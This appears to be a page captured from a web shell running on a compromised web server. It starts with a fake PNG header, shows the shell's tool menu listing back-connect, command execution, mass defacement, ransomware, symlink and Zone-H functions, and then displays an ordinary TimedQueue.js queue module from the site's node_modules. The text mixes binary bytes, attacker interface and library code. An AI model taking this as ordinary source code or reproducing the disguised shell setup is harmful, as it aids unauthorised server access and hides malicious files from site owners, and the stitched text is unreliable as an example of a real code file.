\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/frontend/node_modules/thingies/lib/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/frontend/node_modules/thingies/lib/TimedQueue.js |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.TimedQueue = void 0;
/**
* Queue that is flushed automatically when it reaches some item limit
* or when timeout is reached.
*/
class TimedQueue {
constructor() {
/**
* Queue will be flushed when it reaches this number of items.
*/
this.itemLimit = 100;
/**
* Queue will be flushed after this many milliseconds.
*/
this.timeLimit = 5000;
/**
* Method that will be called when queue is flushed.
*/
this.onFlush = (list) => { };
this.list = [];
this.timer = null;
}
push(item) {
this.list.push(item);
if (this.list.length >= this.itemLimit) {
this.flush();
return;
}
if (!this.timer) {
this.timer = setTimeout(() => {
this.flush();
}, this.timeLimit);
}
}
flush() {
const list = this.list;
this.list = [];
if (this.timer)
clearTimeout(this.timer);
this.timer = null;
if (list.length) {
try {
this.onFlush(list);
}
catch (error) {
// tslint:disable-next-line
console.error('TimedQueue', error);
}
}
return list;
}
}
exports.TimedQueue = TimedQueue;